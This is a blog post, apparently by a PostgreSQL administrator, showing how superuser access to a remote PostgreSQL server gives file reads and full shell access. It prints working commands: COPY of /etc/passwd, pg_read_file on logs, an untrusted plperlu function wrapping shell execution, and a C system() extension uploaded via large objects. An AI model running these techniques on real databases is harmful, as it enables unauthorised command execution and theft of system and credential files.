< french translation is now available >

very recently i got a task which involved finding out what happened (what sql queries were called) on remote machine.

the problem was that i didn't have any kind of shell access to server – i could connect only to postgresql. the good side was that i had a superuser-level access.

so the task was quite simple – how to find and read a file from psql. on remote machine. with no access to ssh, ftp, nor anything like this.

this is when i got idea that i'll write more about it. some might say that you shouldn't write this kind of information. my view is that i'm not disclosing any secrets – i will be using only basic (remote) psql with superuser access. all things that i will describe in here are in documentation – you just have to know where to look for them.

so, first simple data gathering:

# SELECT version();
                                                        version
-----------------------------------------------------------------------------------------------------------------------
 PostgreSQL 8.2.4 ON x86_64-unknown-linux-gnu, compiled BY GCC gcc (GCC) 4.1.2 20061115 (prerelease) (Debian 4.1.1-21)
(1 ROW)

# SELECT * FROM pg_user WHERE usename = CURRENT_USER;
 usename | usesysid | usecreatedb | usesuper | usecatupd |  passwd  | valuntil | useconfig
---------+----------+-------------+----------+-----------+----------+----------+-----------
 depesz  |    33005 | f           | t        | t         | ******** | [NULL]   | [NULL]
(1 ROW)

ok, so i have superuser-level access to postgresql 8.2.4 on some x86_64 machine, with debian and gcc 4.1.2.

so first, let's try to read some file that we know where it is. let's start with known and interesting file: /etc/passwd.

i'll create test table:

# CREATE TABLE file (line text);
CREATE TABLE

so, now let's:

# copy file from '/etc/passwd' with delimiter E'\t';
COPY 31

now, i used delimiter “\t" (which is tab character). it is important to use a character that does not exist in source file, otherwise we'll get something like this:

# copy file from '/etc/passwd' with delimiter ':';
ERROR:  extra data after last expected column
CONTEXT:  COPY file, line 1: "root:x:0:0:root:/root:/bin/bash"

on the other hand – if we would knew file structure in advance (like in /etc/passwd) situation – it would be simple to create table with necessary fields, and use delimiter ‘:'.

but let's not get it too simple. we will work with field of unknown structure.

so, is our copy ok? yes! the data is there (sorry, i'll not show you the output ;-).

ok, so we *knew* were the file is. and what in case we don't know?

let's say i need access to postgresql logs, but they can be anywhere.

hmm … let's see:

# SELECT name, setting FROM pg_settings WHERE name ~ '^log_'^J;
            name            |            setting
----------------------------+--------------------------------
 log_connections            | ON
 log_destination            | stderr
 log_directory              | pg_log
 log_disconnections         | off
 log_duration               | off
 log_error_verbosity        | DEFAULT
 log_executor_stats         | off
 log_filename               | postgresql-%Y-%m-%d_%H%M%S.log
 log_hostname               | off
 log_line_prefix            | %m | %p <%u@%d>
 log_min_duration_statement | 0
 log_min_error_statement    | error
 log_min_messages           | notice
 log_parser_stats           | off
 log_planner_stats          | off
 log_rotation_age           | 1440
 log_rotation_size          | 102400
 log_statement              | NONE
 log_statement_stats        | off
 log_truncate_on_rotation   | off
(20 ROWS)

so, now i know a bit more. logs are logged to stderr, which is redirected to pg_log directory (where is it? in what directory), and their names are quite simple to guess.

now. log_directory is either absolute (it is not in this situation), or it can be relative to data directory.

in our situation – it means that logs are in $PGDATA/pg_log/postgresql-*.log.

we could technically guess the names, and use copy trick, but let's do something more fancy:

# SELECT pg_ls_dir('pg_log');
            pg_ls_dir
----------------------------------
 postgresql-2007-08-10_000000.log
 postgresql-2007-08-11_000000.log
 postgresql-2007-08-12_000000.log
(3 ROWS)

pg_ls_dir shows content of given directory (it is treated as relative to $PGDATA). it is not possible (or i don't know how to) to go to another directories than $PGDATA, but this is enough for us at the moment.

so, we know that today's log is postgresql-2007-08-12_000000.log, and it is the only file of today. we don't know how big it is.

now, i could simply use copy again:

# show data_directory ;
  data_directory
------------------
 /home/pgdba/data
(1 row)
# copy file from '/home/pgdba/data/pg_log/postgresql-2007-08-12_000000.log' with delimiter E'\t';
ERROR:  extra data after last expected column
CONTEXT:  COPY file, line 27150: "      ;"

but it could be tedious due to fact that in logs tab character can easily happen. i could find some character (delimiter has to be one-character-long) that doesn't break COPY, but instead, i'll use another nice function:

# SELECT pg_read_file('/home/pgdba/data/pg_log/postgresql-2007-08-12_000000.log', 0, 200);
                                                  pg_read_file
-----------------------------------------------------------------------------------------------------------------
 2007-08-12 00:00:06.203 CEST | 30225 <[UNKNOWN]@[UNKNOWN]> LOG:  connection received: host=127.0.0.1 port=43521
 2007-08-12 00:00:06.203 CEST | 30225 <xxxxxxxxxx@xxxxxxxxxx> LOG:  connection authorized
(1 ROW)

this function read for me first 200 bytes. by modifying 200 or 0 i could read whole file.

nice. so let's check how big is the file before actual transfer from remote site (you can also use (simpler) function pg_stat_file):

# SELECT LENGTH(pg_read_file('/home/pgdba/data/pg_log/postgresql-2007-08-12_000000.log', 0, 1000000000));
 LENGTH
---------
 3759706
(1 ROW)

i use 1000000000 (slightly less then 1 gb) due to the fact that it's the biggest string postgresql can handle.

if my length() call would show 1000000000, then if would mean that the file is at least 1000000000 bytes long, and i would have to retry length() call, but with 1000000000 offset.

but in my situation, the file is merely 3.5mb, so i could easily transfer it.

ok, but what if i'd like to find a file which is not in $PGDATA? let's say i would like to check which ssh keys are in authorized_keys directory, but i'm not sure what is homedir of the user that runs postgresql.

(side note: of course judging from data_directory i could simply use copy-trick with /home/pgdba/.ssh/authorized_keys and /home/pgdba/.ssh/authorized_keys2, or i could check /etc/passwd for postgresql-related accounts and then try some directories, but let's assume it is not that obvious, or i'm simply brain dead).

to make it happen i would need something more interesting that reading files with copy, or checking $PGDATA with ls and cat.

what i'd really like to do, is to run some shell commands on the remote machine.

so, first let's see – perhaps the nice admin of this machine gave me some untrusted languages:

# SELECT * FROM pg_language ;
 lanname  | lanispl | lanpltrusted | lanplcallfoid | lanvalidator | lanacl
----------+---------+--------------+---------------+--------------+--------
 internal | f       | f            |             0 |         2246 | [NULL]
 c        | f       | f            |             0 |         2247 | [NULL]
 SQL      | f       | t            |             0 |         2248 | [NULL]
 plpgsql  | t       | t            |         91011 |        91012 | [NULL]
(4 ROWS)

unfortunately no. but – perhaps i can add some by myself. i am superuser, so all i need is that whoever setup this machine compiled some of pl/*U languages:

# CREATE LANGUAGE plperlu;
CREATE LANGUAGE
# CREATE LANGUAGE pltclu;
CREATE LANGUAGE
# CREATE LANGUAGE plpythonu;
CREATE LANGUAGE

whoa, 3 guesses, 3 hits 🙂

so, now that i have pl/perlu let's do something nice:

# CREATE FUNCTION system(text) RETURNS text LANGUAGE plperlu AS $body$ my $c = shift; my $out = `$c 2>\&1`; RETURN $out$body$;
CREATE FUNCTION
# SELECT system('ls -l / | head -n 2');
                      system
---------------------------------------------------
 razem 1600
 drwxr-xr-x   2 root root    4096 Jul 16 13:02 bin
(1 ROW)

now we're talking 🙂 full shell access.

but what if there are no pl/*U languages available?

it will require much more work.

first – you need to find a system which is the same (or very similar) to your remote machine. i'm talking about gcc, libc, architecture, postgresq version.

then – you write simple function (i'm not a c programmer, so i simply lifted most of the code from pgcrypto.c (gen_salt function)):

Datum system_hack(PG_FUNCTION_ARGS) {
    text       *arg0;
    int         rc, len;
    char command[2048];
    arg0 = PG_GETARG_TEXT_P(0);
    len = VARSIZE(arg0) - VARHDRSZ;
    if (len > 2047)
        len = 2047;
    memcpy(command, VARDATA(arg0), len);
    command[len] = 0;
    elog(NOTICE, "string: [%s]", command);
    rc = system( command );
    PG_FREE_IF_COPY(arg0, 0);
    PG_RETURN_INT32(rc);
}

then you save it as test.c, add necessary includes and declarations and compile to .so (i will not show all steps, i assume that if you will end up at using this method you should at the very least understand what you're doing).

so, then i have .so file on your local machine. now we have to find a way to transfer it to remote system.

my binary is 8982 bytes long (5328 stripped, but it's not really relevant).

so, now in psql session i enter:

# \lo_import '/home/depesz/test.so'
lo_import 91092
# SELECT lo_export(91092, '/tmp/system_hack.so');
 lo_export
-----------
         1
(1 ROW)

in this way, i simply copy the file to remote machine, and save as /tmp/system_hack.so.

so, now let's just:

CREATE FUNCTION system_hack(text)
RETURNS int4
AS '/tmp/system_hack.so', 'system_hack'
LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;

of course – in case /tmp is “noexec" it will not work, so you'll have to use some other directory, but since you're effectively operating as postgres system user, there is a lot of places you have write access to.

so, now we have system_hack function.

how can i use it?

it is not very nice – mostly because i know very little about c programming, but it works in such a way:

# CREATE TABLE file (line text);
CREATE TABLE
# SELECT system_hack('ls -l /proc > /tmp/output');
NOTICE:  string: [ls -l /proc > /tmp/output]
 system_hack
-------------
           0
(1 ROW)
# copy file FROM '/tmp/output' delimiter E'\t';
COPY 147

of course now i can simply select * from file to see the output.

so basically now i was able to get full shell access to remote machine without using any other communication tool than psql.

does it mean that postgresql/psql is not secure? of course not.

correct answer would be: if you give somebody your superuser access – you practically gave him a shell access.